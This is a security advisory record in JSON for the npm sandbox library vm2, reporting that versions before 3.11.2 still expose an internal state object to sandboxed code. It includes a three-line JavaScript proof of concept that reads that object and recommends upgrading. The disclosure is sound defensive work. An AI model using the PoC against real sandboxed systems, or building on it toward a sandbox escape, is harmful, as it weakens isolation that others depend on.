{"id":"GHSA-2cm2-m3w5-gp2f","title":"vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`","summary":"vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`","severity":"medium","cvss":5.3,"cwe":["CWE-693"],"vendor":"vm2","product":"vm2","ecosystem":"npm","affected":["vm2 < 3.11.2"],"patched":["vm2 3.11.2"],"published":"2026-05-08","updated":"2026-11-05","sourceUpdated":"2026-11-05T21:42:53Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-2cm2-m3w5-gp2f","references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-2cm2-m3w5-gp2f"},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.2"},{"url":"https://github.com/patriksimek/vm2/commit/99d410bb7e0d607c56e68b420720a586dc0dd300"},{"url":"https://github.com/advisories/GHSA-2cm2-m3w5-gp2f"}],"tags":["ghsa","npm"],"ingestedAt":"2026-11-05T22:38:31.307Z","slug":"GHSA-2cm2-m3w5-gp2f","body":"## Overview\n\n### Summary\n\nhttps://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.\n\n### Details\n\nIt is still possible to get access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\n globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']\n`));\n```\n\n## Affected packages\n\n- `vm2 < 3.11.2`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `vm2 3.11.2`","depth":"sunlit","depthScore":29,"depthScoreParts":{"impact":29.2,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}